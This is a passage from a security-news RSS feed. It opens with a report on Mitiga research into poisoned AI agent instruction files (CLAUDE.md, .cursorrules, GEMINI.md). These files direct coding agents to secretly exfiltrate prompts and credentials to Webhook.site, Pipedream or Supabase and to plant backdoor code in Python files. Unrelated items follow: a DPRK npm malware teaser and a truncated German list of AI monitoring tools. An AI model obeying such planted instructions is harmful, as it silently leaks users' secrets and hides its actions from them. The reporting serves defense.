<p class="wp-block-paragraph">Despite the <code>README.md</code> file being benign, the agent instruction files distributed in the repo contained instructions for the AI agent loading them to execute a <code>curl</code> command silently without mentioning it to the user before responding to their prompt. That command copied the user’s prompt to a database hosted on the Supabase service using a hardcoded access token.</p>



<p class="wp-block-paragraph">In another case the researchers found an MLOps repository with an end-to-end machine learning pipeline for training, evaluating, and deploying computer vision models. The repository had a <code>.clinerules</code> file that instructed the agent to verify its environment by collecting several environment variables and command outputs and send them to a site hosted on the Webhook.site service. The collected <code>env</code> variables included Weights &amp; Biases (WANDB) API key, AWS access key, GitHub access token, and MLFlow tracking URL.</p>



<p class="wp-block-paragraph">“This is direct credential collection,” the researchers’ report notes. “Webhook.site gives the operator an easy request sink that can be created anonymously and monitored in real time.”</p>



<p class="wp-block-paragraph">A similar environment secrets collection attack was detected in another repository that claimed to be a starter kit for FastAPI, a framework for API development. The <code>.cursorrules</code> and <code>CLAUDE.md</code> files in the repository instructed the agent to send the contents of the local <code>.env</code> file to a Webhook.site endpoint supposedly for synchronization across the team. However, it also contained instructions to suppress the command output and hide this action from the user.</p>



<p class="wp-block-paragraph">Finally, a <code>GEMINI.md</code> file hosted inside a repository masqueraded as an environment validation step required to pass “Zero Trust” compliance checks. As part of this check, the agent was told to inject an initialization block into every generated or modified Python file, which would then scan the OS environment for any values with <code>key</code>, <code>secret</code>, <code>token</code>, or <code>pass</code> in their names and exfiltrate them to a Pipedream endpoint.</p>



<p class="wp-block-paragraph">This technique exceeds just poisoning the agent and using it for exfiltration. Instead, it uses the agent to inject backdoor code into other Python files that might be copied to other systems, including continuous integration (CI) jobs, containers, and production workloads.</p>



<p class="wp-block-paragraph">Some intentional behavior that involves agent instruction files could create risk without the developers realizing it. For example, the researchers found a repository where the <code>CLAUDE.md</code> contained instructions to use the Snipara MCP during commits to store documentation, dependencies, environment variables, and implementation context.</p>



<p class="wp-block-paragraph">Snipara is a remote cross-project memory layer for AI agents so this use case seems legitimate and intentional. However, if not approved by the security team, it creates a second system that can hold credentials and sensitive data outside the visibility of monitoring systems.<br><br>AI agent workflows under attack</p>



<p class="wp-block-paragraph">What the PromptLogger technique highlights is that attackers are not only breaking down agentic workflows to find new enterprise weak points but transforming those workflows into tools for performing criminal work on their behalf, undetected and unmonitored.</p>



<p class="wp-block-paragraph">“AI instruction files were designed to make coding assistants more useful,” Mitiga’s researchers emphasize. “They define project conventions, preferred commands, memory behavior, hooks and tools usage. In practice, they also create a security-relevant layer that many teams still treat as documentation.”</p>



<p class="wp-block-paragraph">This is just one example of a trend that find AI agents fast becoming an unmonitored blind spot that attackers are proving quick to exploit for initial access.</p>



<p class="wp-block-paragraph">Last month, researchers from security firm AIR <a href="https://www.csoonline.com/article/4188840/how-a-malicious-ai-agent-skill-passed-security-checks-and-reached-26000-users.html">built a proof-of-concept malicious skill file</a>, published it to a popular marketplace and promoted it on Instagram. The skill — a file containing task-specific instructions for AI agents — was eventually installed by more than 26,000 designers and marketers, many working for companies.</p>



<p class="wp-block-paragraph">AI agent skill files are no different in principle from <code>CLAUDE.md</code> or <code>.cursorrules</code>. They contain instructions that AI agents execute at various stages of operation. As such, inspecting such files when they are created or modified is imperative.</p>



<p class="wp-block-paragraph">Mitiga researchers propose several static scan patterns that could reveal risky commands in such files, but they also advise security teams to monitor developer workstations for traffic to services such as Webhook.site, Pipedream, Supabase, or Telegram Bot API.</p>



<p class="wp-block-paragraph">Unexpected outbound HTTP requests before or after assistant responses; repeated POST requests containing environment variables, project paths, or prompt text; and the addition of new MCP servers, URL overrides, or tool endpoints to agent configurations should be investigated.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[heise+ | Erstellen und Verwenden von Annotations in Java, Teil 1]]></title>
<description><![CDATA[Java-Annotations sind essenziell für moderne Frameworks. Dieser erste Leitfaden erklärt die Grundlagen, Meta-Annotations und die Verarbeitung zur Laufzeit.]]></description>
<link>https://tsecurity.de/de/3702541/it-nachrichten/heise-erstellen-und-verwenden-von-annotations-in-java-teil-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702541/it-nachrichten/heise-erstellen-und-verwenden-von-annotations-in-java-teil-1/</guid>
<pubDate>Tue, 04 Aug 2026 10:45:05 +0200</pubDate>
<content:encoded><![CDATA[Java-Annotations sind essenziell für moderne Frameworks. Dieser erste Leitfaden erklärt die Grundlagen, Meta-Annotations und die Verarbeitung zur Laufzeit.]]></content:encoded>
</item>
<item>
<title><![CDATA[DPRK NullReceiver Malware Hides C2 IPs in Zero-Value Ethereum Transactions]]></title>
<description><![CDATA[Researchers have identified a new DPRK-linked npm malware technique that hides command-and-control (C2) infrastructure inside ordinary Ethereum transactions. Named NullReceiver, the method was found in two trojanized npm packages, bianira-ui@1.27.0 and fluid-type-ui@2.0.8, which impersonate legit...]]></description>
<link>https://tsecurity.de/de/3702386/it-security-nachrichten/dprk-nullreceiver-malware-hides-c2-ips-in-zero-value-ethereum-transactions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702386/it-security-nachrichten/dprk-nullreceiver-malware-hides-c2-ips-in-zero-value-ethereum-transactions/</guid>
<pubDate>Tue, 04 Aug 2026 08:37:34 +0200</pubDate>
<content:encoded><![CDATA[<p>Researchers have identified a new DPRK-linked npm malware technique that hides command-and-control (C2) infrastructure inside ordinary Ethereum transactions. Named NullReceiver, the method was found in two trojanized npm packages, bianira-ui@1.27.0 and fluid-type-ui@2.0.8, which impersonate legitimate Tailwind CSS plugins. The packages are linked to the DPRK’s Contagious Interview campaign. Instead of embedding a malicious domain or […]</p>
<p>The post <a href="https://cyberpress.org/nullreceiver-hides-ethereum-c2/">DPRK NullReceiver Malware Hides C2 IPs in Zero-Value Ethereum Transactions</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[19 Tools, um KI lückenlos zu überwachen]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">AIOps-, beziehungsweise AgentOps-Tools, können beim KI-Monitoring unterstützen.Rob Schultz / Shutterstock



KI wird auch in Unternehmen allgegenwärtig. Aus IT-Sicht erfordert das vor allem ein lückenloses Monitoring der Ak...]]></description>
<link>https://tsecurity.de/de/3702316/it-security-nachrichten/19-tools-um-ki-lueckenlos-zu-ueberwachen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702316/it-security-nachrichten/19-tools-um-ki-lueckenlos-zu-ueberwachen/</guid>
<pubDate>Tue, 04 Aug 2026 08:18:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">AIOps-, beziehungsweise AgentOps-Tools, können beim KI-Monitoring unterstützen.</figcaption></figure><p class="imageCredit">Rob Schultz / Shutterstock</p></div>



<p class="wp-block-paragraph">KI wird auch in Unternehmen allgegenwärtig. Aus IT-Sicht erfordert das vor allem ein lückenloses Monitoring der Aktivitäten, die in Zusammenhang mit Large Language Models (<a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">LLMs</a>) und <a href="https://www.computerwoche.de/article/4132787/wie-ki-agenten-daten-konsumieren-sollten.html" target="_blank">KI-Agenten</a> erfolgen. Glücklicherweise ist der DevOps-Welt vor einiger Zeit eine Tool-Kategorie entsprungen, mit der diese Herausforderung zu meistern ist.</p>



<p class="wp-block-paragraph">Lösungen aus dem Bereich <strong>AIOps</strong> (manchmal auch als <strong>AgentOps</strong> bezeichnet) stützen sich dabei in vielerlei Hinsicht auf ähnliche Ansätze wie <a href="https://www.computerwoche.de/article/4091055/10-devops-praktiken-furs-ki-zeitalter.html" target="_blank">DevOps</a>-Werkzeuge: Sie überwachen Systeme auf fehlerhaftes Verhalten und kennzeichnen sämtliche Vorgänge, die vom Normalzustand abweichen, um diese anschließend eingehender zu analysieren.</p>



<p class="wp-block-paragraph">Geht es um die Entscheidung darüber, welches AIOps-Tool für den eigenen Anwendungsfall am besten geeignet ist, ist vor allem die Größe und Art der Agentic-AI-Systeme und des Projekts zu berücksichtigen. Im Mittelpunkt stehen Fragen wie:  </p>



<ul class="wp-block-list">
<li>Sollen bestehende Produkte oder Anwendungen um agentische Funktionen ergänzt oder Agentic-AI-Systeme von Grund auf neu aufgebaut werden?</li>



<li>Liegt der Fokus darauf, LLMs möglichst stabil zu betreiben oder geht es eher darum, neue Ansätze iterativ weiterzuentwickeln?</li>



<li>Steht die KI selbst im Fokus oder soll die Technologie lediglich ein bestehendes Stack optimieren?</li>
</ul>



<p class="wp-block-paragraph">Egal, wie Ihre Anforderungen konkret aussehen – die nachfolgend aufgeführten AIOps-Tools können diese abdecken.</p>



<h2 class="wp-block-heading">1. <a href="http://agentops.ai/" target="_blank" rel="noreferrer noopener">AgentOps.ai</a></h2>



<p class="wp-block-paragraph">Wenn Agenten in Teams zusammenarbeiten, ist es unerlässlich, ihre Konversationen zu tracken, um zu verstehen, was vor sich geht – und um Bugs beheben zu können.</p>



<p class="wp-block-paragraph">Das können Developer mit dem SDK von AgentOps.ai bewerkstelligen und dabei unter anderem Details wie <a href="https://www.computerwoche.de/article/4182846/ki-token-erklart.html" target="_blank">Token-Verbrauch</a>, Kosten und Latenz zu erfassen. Das Tool ist sowohl als Service als auch als On-Premises-Lösung verfügbar.  </p>



<ul class="wp-block-list">
<li><a href="https://www.agentops.ai/#pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>Basic-Tarif kostenlos nutzbar, Pro-Plan<strong> a</strong>b 40 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal:</strong> „Replay“-Analytics mit „Time-Travel-Debugging“;</li>



<li><strong>Ideal geeignet für:</strong> komplexe Debugging-Tasks im Zusammenhang mit KI-Agenten.</li>
</ul>



<h2 class="wp-block-heading">2. <a href="https://arize.com/phoenix/" target="_blank" rel="noreferrer noopener">Arize Phoenix</a></h2>



<p class="wp-block-paragraph">Auch die Open-Source-Plattform Arize Phoenix unterstützt dabei, Prompts und LLM-Antworten zu debuggen – in erster Linie mit robusten Tracing-Funktionalitäten. Die Ergebnisse lassen sich zudem mit einem Score versehen, um präziser iterieren zu können.</p>



<p class="wp-block-paragraph">Die AIOps-Lösung trackt die Ergebnisse und Tool-Aufrufe einer Vielzahl wichtiger Plattformen (etwa Anthropic, AWS und OpenAI), die von gängigen Frameworks wie <a href="https://www.computerwoche.de/article/2827054/was-ist-langchain.html" target="_blank">LangChain</a>, LlamaIndex oder DSPy initiiert werden. So wird sichtbar, welche Daten spezifische Antwortketten triggern.</p>



<ul class="wp-block-list">
<li><a href="https://arize.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>Free-Tarif kostenlos nutzbar, Pro-Plan ab 50 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal:</strong> „LLM-as-a-Judge“-Metriken, um die Qualität zu tracken;</li>



<li><strong>Ideal geeignet für:</strong> Teams, deren Fokus darauf liegt, schrittweise die Genauigkeit und Qualität von KI-Systemen zu verbessern.</li>
</ul>



<h2 class="wp-block-heading">3. <a href="https://www.bigpanda.io/de/" target="_blank" rel="noreferrer noopener">BigPanda</a></h2>



<p class="wp-block-paragraph">BigPanda hat sich in der Vergangenheit bereits einen Namen gemacht, wenn es darum ging, die Performance komplexer Systeme zu überwachen. Inzwischen widmet sich das Unternehmen verstärkt der Problemerkennung und -behebung im Zusammenhang mit fehlgeleiteten KI-Modellen.</p>



<p class="wp-block-paragraph">Das Hauptsystem von BigPanda stützt sich auf historische Daten und Machine-Learning-Algorithmen, um diese Problemstellungen zu identifizieren. Ein dedizierter Agenten-Layer verbindet die problematischen Nodes mit fehlerhaften Modellen und leitet parallel Warnmeldungen an die zuständigen menschlichen Spezialisten weiter.</p>



<ul class="wp-block-list">
<li><a href="https://www.bigpanda.io/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: „</strong>wertbasiertes“ Preismodell, auf Anfrage;</li>



<li><strong>Alleinstellungsmerkmal:</strong> automatisierte Triage;</li>



<li><strong>Ideal geeignet für: </strong>große Teams, die die Alert Fatigue, die mit einem ausgedehnten Kundenstamm einhergeht, reduzieren möchten.</li>
</ul>



<h2 class="wp-block-heading">4. <a href="https://www.braintrust.dev/">Braintrust</a></h2>



<p class="wp-block-paragraph">Um einen effektiven Optimierungszyklus für KI-Agenten aufzusetzen, ist ein <a href="https://www.computerwoche.de/article/4164993/best-practices-um-agentic-ai-systeme-aufzubauen.html" target="_blank">robuster Feedback-Loop</a> erforderlich – von den Produktionsdaten bis hin zum nächsten Agenten-Output. Das AIOps-Tool Braintrust überwacht die Produktionsauslastung und erstellt Testvektoren, die darüber Auskunft geben, wie stark die KI durch Drift oder Regression von ihrem Kurs abweicht.</p>



<p class="wp-block-paragraph">Diese Lösung kann das Gros der Testing- und Scoring-Feedback-Schleife automatisieren und problematische Muster identifizieren sowie adressieren. Zentraler Bestandteil dieser Lösung ist außerdem ein spezialisierter Data Store, der große (und auch tiefgehend verschachtelte) Test-Sammlungen und deren Ergebnisse nachverfolgen kann.</p>



<ul class="wp-block-list">
<li><a href="https://www.braintrust.dev/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Starter-Tarif, Pro-Plan ab 249 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>hochskalierbare Erfassung von Trace-Daten;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die mit Hilfe von Continuous Testing robuste KI-Guardrails entwickeln wollen.</li>
</ul>



<h2 class="wp-block-heading">5. <a href="https://chronicle-labs.com/" target="_blank" rel="noreferrer noopener">Chronicle Labs</a></h2>



<p class="wp-block-paragraph">Die Plattform von Chronicle Labs ist darauf ausgelegt, neue Versionen von Agenten, die in die Produktion ausgerollt werden sollen, entsprechend vorzubereiten und im Rahmen einer Reihe von Nutzungstests und Regressionsfällen zu überprüfen.</p>



<p class="wp-block-paragraph">Dabei verspricht das Unternehmen Tests unter realistischen Bedingungen: Zur Plattform gehört eine Reihe von Tools, die die Telemetriedaten der Produktion nach soliden Testvektoren durchsuchen. Das Ziel dabei ist, KI-Agenten vollumfänglich mit Prompts und anderen Herausforderungen zu testen, um ihre Funktionalität zu gewährleisten, sobald sie ihre Laborumgebung verlassen.  </p>



<ul class="wp-block-list">
<li><a href="https://chronicle-labs.com/book-call" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>auf Anfrage;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Back-Testing-Optionen für komplexe Test-Regime;<strong>  </strong></li>



<li><strong>Ideal geeignet für: </strong>Teams, die nach besonders leistungsstarken KI-Modellen streben, die in der Realität verankert sind.</li>
</ul>



<h2 class="wp-block-heading">6. <a href="https://www.comet.com/site/products/opik/">Comet Opik</a></h2>



<p class="wp-block-paragraph">Ein Dashboard zu erstellen, ist eine Möglichkeit, sämtliche Daten zu tracken, die KI-Agenten zugeführt oder von ihnen gesendet werden. Genau das geht auch mit Comet Opik.</p>



<p class="wp-block-paragraph">Das Tool befähigt DevOps-Teams dazu, jeden Call zu tracken und eigene Automatisierungsroutinen hinzuzufügen, um die Ergebnisse zu untersuchen. Diese lassen sich zudem anhand diverser Metriken <a href="https://www.computerwoche.de/article/4186715/31-wege-llms-zu-evaluieren.html" target="_blank">bewerten</a> oder zum selben Zweck auch an ein anderes LLM weiterleiten.  </p>



<ul class="wp-block-list">
<li><a href="https://www.comet.com/site/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Open-Source- und Cloud-Optionen, Pro-Modell ab 19 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Auto-Scoring-Funktion mit mehr als 30 Metriken, um Traces zu evaluieren;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die sich auf RAG- und Agentic-Workflows konzentrieren.</li>
</ul>



<h2 class="wp-block-heading">7. <a href="https://www.datadoghq.com/" target="_blank" rel="noreferrer noopener">Datadog</a></h2>



<p class="wp-block-paragraph">DevOps-Teams, die mit der Lösung von Datadog Logs über verschiedene Services hinweg tracken, können damit auch LLM-Prozesse überwachen. Das Tool erfasst Performance-Daten wie die „Time to first Token“ und liefert Einblicke zu möglichen Problemursachen – beispielsweise <a href="https://www.computerwoche.de/article/4194878/4-memory-systeme-um-ki-aufzuschlauen.html" target="_blank">Memory-Mangel</a>.</p>



<p class="wp-block-paragraph">Die Ergebnisse werden dann in Cost-Tracking-Mechanismen eingespeist, so dass die Buchhaltung auch antizipieren kann, wann das Budget erschöpft ist.</p>



<ul class="wp-block-list">
<li><a href="https://www.datadoghq.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Version mit begrenztem Umfang verfügbar, Pro-Tarif ab 15 Dollar pro Monat und Host;</li>



<li><strong>Alleinstellungsmerkmal: </strong>große Installationsbasis – und die Lösung ist nicht auf KI beschränkt;</li>



<li><strong>Ideal geeignet für: </strong>Enterprise-Teams, die mit etablierter Infrastruktur arbeiten.</li>
</ul>



<h2 class="wp-block-heading">8. <a href="https://www.dynatrace.com/de" target="_blank" rel="noreferrer noopener">Dynatrace</a></h2>



<p class="wp-block-paragraph">Bei Dynatrace beschäftigt man sich schon seit mehr als zwei Dekaden damit, Datenflüsse über das gesamte Stack hinweg zu erfassen. Inzwischen hat der Anbieter den Funktionsumfang seiner Plattform auch auf KI-Agenten erweitert.</p>



<p class="wp-block-paragraph">Der Fokus liegt dabei darauf, komplexe <a href="https://www.computerwoche.de/article/4157192/multi-agenten-systeme-die-neuen-microservices.html" target="_blank">Agenten-Netzwerke</a> zu unterstützen, die Performance- oder Security-Probleme erkennen und diese anschließend innerhalb definierter Leitplanken beheben sollen.</p>



<ul class="wp-block-list">
<li><a href="https://www.dynatrace.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>ab 7 Dollar pro Monat und Host;</li>



<li><strong>Alleinstellungsmerkmal: </strong>autonomes Monitoring für große KI-Installationsbasen;</li>



<li><strong>Ideal geeignet für: </strong>komplexe, hybride Umgebungen in denen LLMs mit traditionellen Services kombiniert werden.</li>
</ul>



<h2 class="wp-block-heading">9. <a href="https://galileo.ai/" target="_blank" rel="noreferrer noopener">Galileo</a></h2>



<p class="wp-block-paragraph">Selbst wenn vorab rigorose Tests gefahren werden, lässt sich die Performanz von KI-Systemen im Produktivbetrieb nicht exakt vorhersagen.  </p>



<p class="wp-block-paragraph">Das Galileo-Tool (aus dem Hause Cisco) bietet Guardrails, die die Performance tracken und dabei alles erfassen, was von der „Ground Truth“ abweicht. Die „LLM-as-Judge“-Systeme hat der Anbieter zu kompakten Modellen verdichtet, die sich auch lokal ausführen lassen.</p>



<ul class="wp-block-list">
<li><a href="https://galileo.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Tarif verfügbar, Pro-Modell ab 100 Dollar monatlich;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Echtzeit-Guardrails für bereitgestellte Agenten;<strong> </strong></li>



<li><strong>Ideal geeignet für: </strong>Security-fokussierte KI-Installationen, die besonderen Schutz hinsichtlich Halluzinationen und Datenlecks erfordern.</li>
</ul>



<h2 class="wp-block-heading">10. <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating" target="_blank" rel="noreferrer noopener">Grafana</a></h2>



<p class="wp-block-paragraph">Grafana ist schon seit längerem die erste Anlaufstelle, wenn es um Open-Source-Telemetrie geht. Inzwischen trackt die Cloud-Plattform auch, wie sich die KI-Antworten in einem agentischen Netzwerk im Zeitverlauf entwickeln, um sowohl Modell-Drift als auch <a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank">Halluzinationen</a> zu verhindern.</p>



<p class="wp-block-paragraph">Über einen Cloud-Assistenten können Anwender das Grafana-Dashboard voll und ganz auf ihre spezifischen Observability-Bedürfnisse anpassen. Das Tool umfasst dabei auch Analysemöglichkeiten auf KI-Ebene, die dafür sorgen, dass Modelle geflaggt werden, die zwar schnell reagieren, aber falsche Antworten liefern.</p>



<ul class="wp-block-list">
<li><a href="https://grafana.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Version verfügbar, Pro-Tarif ab 19 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Full-Stack-Tool mit vollständig integrierten LLMs;</li>



<li><strong>Ideal geeignet für: </strong>Systeme im Enterprise-Maßstab, die KI integrieren.</li>
</ul>



<h2 class="wp-block-heading">11. <a href="https://www.helicone.ai/">Helicone</a></h2>



<p class="wp-block-paragraph">Helicone ist als intelligenter Netzwerk-Proxy konzipiert, der alle Modellanfragen routet und dabei zuverlässige Debugging-Protokolle der durchlaufenden Daten erstellt.</p>



<p class="wp-block-paragraph">Diese lassen sich in übersichtliche Diagramme umwandeln, die es erleichtern, Latenzprobleme oder Modellausfälle zu visualisieren. Darüber hinaus bietet diese Lösung auch die Möglichkeit, die <a href="https://www.computerwoche.de/article/4189343/was-ki-agenten-wirklich-kosten.html" target="_blank">KI-Kosten</a> zu tracken.</p>



<ul class="wp-block-list">
<li><a href="https://www.helicone.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Stufe verfügbar, Pro-Tarif ab 79 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Integration auf Proxy-Basis;</li>



<li><strong>Ideal geeignet für: </strong>Dev-Teams, die möglichst schnell bessere Monitoring-Funktionen einziehen wollen.</li>
</ul>



<h2 class="wp-block-heading">12. <a href="https://laminar.sh/" target="_blank" rel="noreferrer noopener">Laminar</a></h2>



<p class="wp-block-paragraph">Die Open-Source-Lösung Laminar arbeitet eng mit dem <a href="https://opentelemetry.io/" target="_blank" rel="noreferrer noopener">Open-Telemetry-Projekt</a> zusammen, um Agenten zu tracken, die im Produktiveinsatz sind. Eventuelle Fehler und Ausfallmuster sind über Protokolldateien nachvollziehbar, die über ein Komprimierungsschema effizient gespeichert werden.</p>



<p class="wp-block-paragraph">Entwickler können Traces mit einer SQL-ähnlichen Sprache durchsuchen. Bei Bedarf ermöglichen die Traces auch, in der Zeit „zurückzuspulen“ und dieselben Debugging-Inputs erneut „abzuspielen“. Das Ziel ist es, umfassende Transparenz darüber zu schaffen, inwieweit KI-Agenten die Geschäftsziele erfüllen.</p>



<ul class="wp-block-list">
<li><a href="https://laminar.sh/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Stufe verfügbar, Starter-Tarif ab 30 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>die quelloffene Lizenzierung macht Self-Hosting zu einer praktikablen Option;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die in der Lage sind, die mit Open-Source-Lösungen verbundenen Verantwortlichkeiten vollumfänglich zu übernehmen.</li>
</ul>



<h2 class="wp-block-heading">13. <a href="https://www.smith.langchain.com/">LangSmith</a></h2>



<p class="wp-block-paragraph">Echtzeitdaten sind unerlässlich, um Multi-Agenten-Systeme in der Produktion zu managen. LangSmith verfolgt Kosten, Tools und Fortschritte bei der Lösungsfindung nach. Dabei wird eine breite Palette von Agenten über SDKs für Python, TypeScript, Go und Java abgedeckt.</p>



<p class="wp-block-paragraph">Auch diese Lösung basiert auf OpenTelemetry, überwacht KI-Systeme auf Anomalien und gibt Alarmmeldungen über Dashboards sowie weitere Kommunikationskanäle wie PagerDuty aus. Das Tool kann auch tiefgehende Analysen bieten, um Probleme wie Themen-Cluster oder ungewöhnliche Fehlermuster zu Tage zu fördern.</p>



<ul class="wp-block-list">
<li><a href="https://www.langchain.com/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Seat für Solo-Entwickler, Team-Pläne ab 39 Dollar pro Seat und Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>systematischer Ansatz für Prompt-Regressionstests;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die sich bereits auf das LangChain- oder LangGraph-Framework verlassen.</li>
</ul>



<h2 class="wp-block-heading">14. <a href="https://lunary.ai/">Lunary</a></h2>



<p class="wp-block-paragraph">Speziell wenn es um Chatbots und KI-basierte Assistenten geht, macht es Sinn, auch die <a href="https://www.computerwoche.de/article/4170715/so-integrieren-sie-ki-ohne-benutzer-zu-verprellen.html" target="_blank">Benutzererfahrung</a> zu erfassen. Für diese Aufgabe bietet Lunary einen Proxy. Dieser überwacht sämtliche Interaktionen und erstellt anschließend Analytics-Dashboards, um Kennzahlen zu messen – zur User Experience oder auch den Modellkosten.</p>



<p class="wp-block-paragraph">Wenn Prompts nicht perfekt sind, ermöglicht Lunary zudem, den zugrundeliegenden Text so lange zu überarbeiten, bis die richtigen Antworten ausgegeben werden. Dank seiner Proxy-Struktur und des gängigen API-Formats soll Lunary mit jedem LLM und jedem Framework funktionieren.</p>



<ul class="wp-block-list">
<li><a href="https://lunary.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Tarif verfügbar, Team-Plan ab 20 Dollar pro User und Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>tiefgehende Integration von menschlichen Spezialisten, wenn es darum geht, Ergebnisse zu überprüfen und zu optimieren;</li>



<li><strong>Ideal geeignet für: </strong>Startups, die auf schnelle Prompt-Innovationen aus sind.  </li>
</ul>



<h2 class="wp-block-heading">15. <a href="https://newrelic.com/platform/ai-observability">NewRelic</a></h2>



<p class="wp-block-paragraph">Diese Plattform war ursprünglich dazu gedacht, die Leistung von Webanwendungen zu überwachen. Mittlerweile ist die Lösung jedoch performant genug, um auch die Datenflüsse in komplexen Agenten-Ökosystemen zu tracken.</p>



<p class="wp-block-paragraph">Das KI-gesteuerte Monitoring von NewRelic erfasst sogenannte „Golden Signals“, die über den gesamten Lifecycle Anhaltspunkte für Fehlverhalten liefern können. Die Details der Interaktionen werden über Protokolle wie <a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a> erfasst, die Informationen anschließend den für die Performance verantwortlichen Engineers zur Verfügung gestellt.</p>



<ul class="wp-block-list">
<li><a href="https://newrelic.com/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Tarif vorhanden, Preise auf Anfrage;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Full-Stack-Support mit Hunderten von Integrationsmöglichkeiten für andere Tools;</li>



<li><strong>Ideal geeignet für: </strong>eingespielte Enterprise-Teams, die auch KI einbinden.</li>
</ul>



<h2 class="wp-block-heading">16. <a href="https://novaaiops.com/">Nova AI Ops</a></h2>



<p class="wp-block-paragraph">Die Nova-AI-Ops-Plattform stellt ein Team von Agenten bereit, das Cloud-Instanzen überwacht und diese (zumindest teilweise) mit Self-Healing-Fähigkeiten ausstattet.</p>



<p class="wp-block-paragraph">Jeder Agent nutzt dabei eine Kombination aus prädiktiver KI und Machine Learning, um die Cloud-Telemetrie auf Anomalien zu überwachen. Anschließend berechnet die KI den „Blast Radius“ und entscheidet, ob es sich um ein Problem handelt, das sich automatisch beheben lässt – oder einem menschlichen Supervisor übermittelt wird.</p>



<ul class="wp-block-list">
<li><a href="https://novaaiops.com/pricing"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Testversion verfügbar, Bezahltarife ab 16 Dollar pro Monat und Nutzer;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Lösung mit Fokus auf Software Reliability Engineering;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die eine Lösung suchen, die den gesamten SRE- und DevOps-Stack abdeckt.</li>
</ul>



<h2 class="wp-block-heading">17. <a href="https://www.splunk.com/de_de/products/it-service-intelligence.html">Splunk</a></h2>



<p class="wp-block-paragraph">Die Plattform von Splunk ist mittlerweile ebenfalls vollständig KI-fähig und bietet Tracking-Möglichkeiten für Agenten, die denen zur Nachverfolgung von Microservices ähneln. Dazu kommen umfangreiche Predictive-AI-Funktionen, um Protokolle und ihre Inhalte in schnelle Lösungen zu übersetzen.</p>



<p class="wp-block-paragraph">Per KI werden KI-Modelle, die etwa über MCP angebunden sind, getrackt und ihr Verhalten überwacht. Gleichzeitig haben Anwender die Möglichkeit, detailliert zu analysieren, was funktioniert und was nicht.</p>



<ul class="wp-block-list">
<li><a href="https://www.splunk.com/de_de/products/pricing.html" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>nutzungsbasierte Abrechnungsoptionen, Observability Cloud ab 15 Dollar pro Monat und Host;</li>



<li><strong>Alleinstellungsmerkmal: </strong>auf Enterprise-Stacks skalierbar;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die Agentic AI in Legacy-Systeme integrieren.</li>
</ul>



<h2 class="wp-block-heading">18. <a href="https://superpenguin.ai/#features">Super Penguin</a></h2>



<p class="wp-block-paragraph">Um den CFO vor bösen Überraschungen zu bewahren, ist SuperPenguin die richtige Lösung: Es erfasst Verbrauchsdaten von KI-Systemen und ermöglicht es, die anfallenden Kosten zu antizipieren.</p>



